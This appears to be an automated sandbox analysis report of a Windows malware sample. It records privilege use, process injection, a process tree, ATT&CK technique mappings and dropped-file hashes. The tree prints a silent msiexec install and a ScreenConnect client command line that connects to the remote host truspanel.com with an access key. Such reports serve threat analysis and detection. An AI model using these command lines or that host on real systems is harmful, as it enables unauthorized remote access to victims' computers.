Token: SeSecurityPrivilege	1288	msiexec.exe
Token: SeCreateTokenPrivilege	1804	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1804	msiexec.exe
Token: SeLockMemoryPrivilege	1804	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1804	msiexec.exe
Token: SeMachineAccountPrivilege	1804	msiexec.exe
Token: SeTcbPrivilege	1804	msiexec.exe
Token: SeSecurityPrivilege	1804	msiexec.exe
Token: SeTakeOwnershipPrivilege	1804	msiexec.exe
Token: SeLoadDriverPrivilege	1804	msiexec.exe
Token: SeSystemProfilePrivilege	1804	msiexec.exe
Token: SeSystemtimePrivilege	1804	msiexec.exe
Token: SeProfSingleProcessPrivilege	1804	msiexec.exe
Token: SeIncBasePriorityPrivilege	1804	msiexec.exe
Token: SeCreatePagefilePrivilege	1804	msiexec.exe
Token: SeCreatePermanentPrivilege	1804	msiexec.exe
Token: SeBackupPrivilege	1804	msiexec.exe
Token: SeRestorePrivilege	1804	msiexec.exe
Token: SeShutdownPrivilege	1804	msiexec.exe
Token: SeDebugPrivilege	1804	msiexec.exe
Token: SeAuditPrivilege	1804	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1804	msiexec.exe
Token: SeChangeNotifyPrivilege	1804	msiexec.exe
Token: SeRemoteShutdownPrivilege	1804	msiexec.exe
Token: SeUndockPrivilege	1804	msiexec.exe
Token: SeSyncAgentPrivilege	1804	msiexec.exe
Token: SeEnableDelegationPrivilege	1804	msiexec.exe
Token: SeManageVolumePrivilege	1804	msiexec.exe
Token: SeImpersonatePrivilege	1804	msiexec.exe
Token: SeCreateGlobalPrivilege	1804	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeBackupPrivilege	6088	vssvc.exe
Token: SeRestorePrivilege	6088	vssvc.exe
Token: SeAuditPrivilege	6088	vssvc.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeShutdownPrivilege	5900	MsiExec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe
Token: SeRestorePrivilege	1288	msiexec.exe
Token: SeTakeOwnershipPrivilege	1288	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5836	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1804	msiexec.exe
1288	msiexec.exe
6124	MsiExec.exe
5900	MsiExec.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 2640 wrote to memory of 1804	2640	2026-08-17_27f7336cd521d20e32684170c6e5270b_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	89
PID 2640 wrote to memory of 4220	2640	2026-08-17_27f7336cd521d20e32684170c6e5270b_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	91
PID 4220 wrote to memory of 2000	4220	vc_redist.x64.exe	92
PID 1288 wrote to memory of 6124	1288	msiexec.exe	93
PID 6124 wrote to memory of 2152	6124	MsiExec.exe	94
PID 2000 wrote to memory of 4732	2000	vc_redist.x64.exe	95
PID 1288 wrote to memory of 5900	1288	msiexec.exe	99
PID 3028 wrote to memory of 484	3028	ScreenConnect.ClientService.exe	102
PID 3028 wrote to memory of 1012	3028	ScreenConnect.ClientService.exe	103
PID 2640 wrote to memory of 5836	2640	2026-08-17_27f7336cd521d20e32684170c6e5270b_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe	110
PID 5836 wrote to memory of 2312	5836	msedge.exe	111
PID 5836 wrote to memory of 3712	5836	msedge.exe	112
PID 5836 wrote to memory of 3712	5836	msedge.exe	112
PID 5836 wrote to memory of 3712	5836	msedge.exe	112
PID 5836 wrote to memory of 2904	5836	msedge.exe	113
PID 5836 wrote to memory of 3304	5836	msedge.exe	114
PID 5836 wrote to memory of 3304	5836	msedge.exe	114
PID 5836 wrote to memory of 1304	5836	msedge.exe	116
PID 5836 wrote to memory of 5604	5836	msedge.exe	117
PID 5836 wrote to memory of 1304	5836	msedge.exe	116
PID 5836 wrote to memory of 1304	5836	msedge.exe	116
PID 5836 wrote to memory of 5604	5836	msedge.exe	117
PID 5836 wrote to memory of 5604	5836	msedge.exe	117
PID 5836 wrote to memory of 3952	5836	msedge.exe	118
PID 5836 wrote to memory of 3952	5836	msedge.exe	118
PID 5836 wrote to memory of 3952	5836	msedge.exe	118
PID 5836 wrote to memory of 2260	5836	msedge.exe	119
PID 5836 wrote to memory of 2260	5836	msedge.exe	119
PID 5836 wrote to memory of 2260	5836	msedge.exe	119
PID 5836 wrote to memory of 2868	5836	msedge.exe	120
PID 5836 wrote to memory of 2868	5836	msedge.exe	120
PID 5836 wrote to memory of 1204	5836	msedge.exe	122
PID 5836 wrote to memory of 1204	5836	msedge.exe	122
PID 5836 wrote to memory of 2132	5836	msedge.exe	123
PID 5836 wrote to memory of 2132	5836	msedge.exe	123
PID 5836 wrote to memory of 5892	5836	msedge.exe	125
PID 5836 wrote to memory of 2916	5836	msedge.exe	128
PID 5836 wrote to memory of 2916	5836	msedge.exe	128
PID 5836 wrote to memory of 4468	5836	msedge.exe	129
PID 5836 wrote to memory of 4468	5836	msedge.exe	129
PID 5836 wrote to memory of 1672	5836	msedge.exe	130
PID 5836 wrote to memory of 5944	5836	msedge.exe	131
PID 5836 wrote to memory of 4712	5836	msedge.exe	132
PID 5836 wrote to memory of 1644	5836	msedge.exe	133
PID 5836 wrote to memory of 1644	5836	msedge.exe	133
PID 5836 wrote to memory of 1620	5836	msedge.exe	137

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-08-17_27f7336cd521d20e32684170c6e5270b_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-17_27f7336cd521d20e32684170c6e5270b_amadey_darkgate_elex_luca-stealer_lynx_njrat_play_ransomhub_remcos_smoke-loader.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2640
- C:\Windows\SysWOW64\msiexec.exe
  "msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Onchain_495d8bf6\app.msi" /quiet /norestart
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1804
- C:\Users\Admin\AppData\Local\Temp\Onchain_495d8bf6\vc_redist.x64.exe
  "C:\Users\Admin\AppData\Local\Temp\Onchain_495d8bf6\vc_redist.x64.exe" /install /quiet /norestart
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4220
- - C:\Windows\Temp\{93BDFE6F-571F-4E8A-A5D9-F1E18BDF02EE}\.cr\vc_redist.x64.exe
    "C:\Windows\Temp\{93BDFE6F-571F-4E8A-A5D9-F1E18BDF02EE}\.cr\vc_redist.x64.exe" -burn.clean.room="C:\Users\Admin\AppData\Local\Temp\Onchain_495d8bf6\vc_redist.x64.exe" -burn.filehandle.attached=756 -burn.filehandle.self=760 /install /quiet /norestart
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2000
  - - C:\Windows\Temp\{DF791C9B-8DEA-4C55-9C54-C83FBE35951A}\.be\VC_redist.x64.exe
      "C:\Windows\Temp\{DF791C9B-8DEA-4C55-9C54-C83FBE35951A}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{53974A08-B968-48F4-8C99-7168057CAB40} {BFE2E0E0-E894-4BFD-8F31-E5A311C59CDB} 2000
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:4732
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://crypto.com/us/onchain
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:5836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x2ec,0x7ffaae74c188,0x7ffaae74c194,0x7ffaae74c1a0
    3⤵
    PID:2312
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1632,i,3449079332661778646,6486180878099572073,262144 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=2116 /prefetch:2
    3⤵
    PID:3712
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2324,i,9407691716671176973,15998533760774231966,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=3044 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1980,i,8442292018852760046,14562278257703654025,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=2876 /prefetch:13
    3⤵
    PID:3304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3600,i,1853583269347272851,12292031106222313012,2097152 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:1
    3⤵
    PID:1304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3692,i,18035665617989535864,12324377737749352320,2097152 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:1
    3⤵
    PID:5604
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4252,i,3988329802583491902,13257465170389365161,2097152 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=4612 /prefetch:1
    3⤵
    PID:3952
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4264,i,11615796401521087247,5960578050099959262,2097152 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=4616 /prefetch:9
    3⤵
    PID:2260
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3808,i,16813398822942542126,12166990649703735912,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=5356 /prefetch:14
    3⤵
    PID:2868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5440,i,4919081115356545016,10080958517059872212,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:14
    3⤵
    PID:1204
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3772,i,950649946430206313,158740079987507540,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:14
    3⤵
    PID:2132
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6376,i,308520121023000863,13160794677727478401,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:14
    3⤵
    PID:944
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6376,i,308520121023000863,13160794677727478401,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=6392 /prefetch:14
    3⤵
    PID:5892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6468,i,3350148580089471649,11484072160063464258,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=6624 /prefetch:14
    3⤵
    PID:2916
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6816,i,7352464373672607011,16052313156014832417,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=6824 /prefetch:14
    3⤵
    PID:4468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6388,i,16883954783904831218,9162068817110761014,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=6516 /prefetch:14
    3⤵
    PID:1672
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5308,i,2566166025370228301,11105225511424567092,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:14
    3⤵
    PID:5944
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6504,i,6515047751961451558,11722625372900447555,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=5140 /prefetch:14
    3⤵
    PID:4712
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3396,i,12609563288948957839,8873514965489438801,524288 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=3832 /prefetch:14
    3⤵
    PID:1644
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6536,i,5970466347348670522,18200238857303155644,262144 --field-trial-handle=2132,i,3416037210989160812,6866375919122314397,262144 --variations-seed-version --mojo-platform-channel-handle=6792 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1620

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 380997A71D3F0305EA3789948E350B6E
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:6124
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Windows\Installer\MSI2F05.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240726593 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2152
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding F3A27E568652ACE489E02E86AECEF8B1 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5900

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:6088

C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=truspanel.com&p=8041&s=ced1a1f2-bf93-4d30-968a-8e299ad8671d&k=BgIAAACkAABSU0ExAAgAAAEAAQA1rUYx%2fEJmJZj4JWThdhvdGhnbxaZ4vjoQWUMOccRAA4WeGOHdHME62UWQRtBynmmQzJ1OGU0iZf9HSLVC1saVYNgjsUhGnH3uimRQR4fhRvOzZ7ASGKk1ruX0veaJcMtgOMt1MCzRr9yL%2fd6h62dNJEXegwo4Ik%2bujkkJt6ayoButIxHU7QsKxeebPc%2fDrTqwo%2f4G6Y5%2fOPeaPXvWuYt9We7TZbmuKPKYNjFC%2fUVj7JUXKNzmAzg4TVAgmaN3%2bEQWgWfClOhALHLoVXi9b1XnBleTxwQb5NOVMPiAPjLGX6QuUn%2fVBKpfFbhH8bKqG6VwkJPHRsmFaM%2fTFG8GeHjl"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3028
- C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsClient.exe" "RunRole" "29cc1699-572d-4686-af3a-50da46f52031" "User"
  2⤵
  - Executes dropped EXE
  PID:484
- C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\ScreenConnect.WindowsClient.exe" "RunRole" "7d627e5a-8853-4ca4-baf1-ee12c5e36f42" "System"
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:1012

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
PID:5084

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2900

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4496

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e592b3f.rbs

Path C:\Config.Msi\e592b3f.rbs
Size 214KB
SHA256 f5216431dfb937f7f028b207a7058a1d45ebfbd4087778f5daeb78dec0808e99
MD5 3f3568ea764dfb8a5d2b59303c3b43d2
SHA1 f2b17cfb74b1c9642b6186a9ae242e580d1d47ff
SHA512 e9914dd28b9aa70c1db3a3a001a50c12b7029b57a11b2f312af0c7f3e673fd7bc527f33a24766d798478465f07b617d3bfa99fd1f6a36d602e939a090b1c188a
SSDEEP 3072:5XM96NCxH9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGWaof:5XM96NCxHuH2aCGw1ST1wQLdqvWaohZ
TLSH
T185248C217490807EE7FA1A32D93E9A71BE3CF6681760C59E83848C1E5D604D06BF7B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\Client.Override.en-US.resources
Size 343B
SHA256 12191483feb8db21c4b7ecd039be74de31710326b9ff1466d9bd6f53329259f6
MD5 953c4cbb0ff640008d2402eebf774c6c
SHA1 620c6df6ed6edae888c160b26a4791a91336c27f
SHA512 f992b3b9d284845e1b996d4ae6997834c289471d9ae2b5f912f8bb7d53379b3f3b611a12a1dad66e916b072bc1b6eed3071e109d71e80df190735680c388f61c
TLSH
T1F6E0C017239C2038E0B20677786630C1067FF92E9224456C5C44101C5AF260B8F81F32
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\Client.Override.resources
Size 32KB
SHA256 bae2628f861455f9ae162ebb4599ea04c84f28326f687c489fb51017f5424dcd
MD5 0267952bdad8da91dc30fc831035ed83
SHA1 1185e11d5ff7287530c69f22d4f077409d6de73d
SHA512 98802c969ed0c0b794d70f8524131479cc4209310403d66a8e1a03337b4d217a407fdd893f580d147ac17a58b8592256b9dab03b7bbe467110dc27b37a1a13ed
SSDEEP 384:rietTY88etTY88etTY88etTY88etTY88etTY88etTY88etTY8mu27NeUVA8:2UTSUTSUTSUTSUTSUTSUTSUTP2heGB
TLSH
T173E27D216BB04FBCF949B3844246AC6C9A23DA7CF9D7364807643260BBD9721439E5DF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\Client.en-US.resources
Size 47KB
SHA256 a023527e773b886fb64c5f31de484f659c5816cf4ab696be7c98a3ea4de57d41
MD5 e5d912067630d3efe53f290b9c9d0d27
SHA1 b0fc2105716c6eab770f89b9ed88ce2a36bdb5b2
SHA512 13fcb0f3f0208c072c86f1df8efe73cfade2803bc4b04e666787a95e10f49289fe6c1b8e10e7dbb5071cae92345fa12139fc220dc23dee4b098cc77fc53a316b
SSDEEP 768:T5F6LdqoaQZHw50YeOrmtxBQDu5CLHEFJ59UwgLJhwKa1wrvrMetEHWITF9:T5cLdqQZHw50YeOrmHBQDu5CLHEFJ59v
TLSH
T140231D1277FD0A18F5F36F45BE7A94619937BC5A2E25C06F1028855E09B2F80CAB2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (8ac92166cfc8eb6e)\Client.resources
Size 26KB
SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
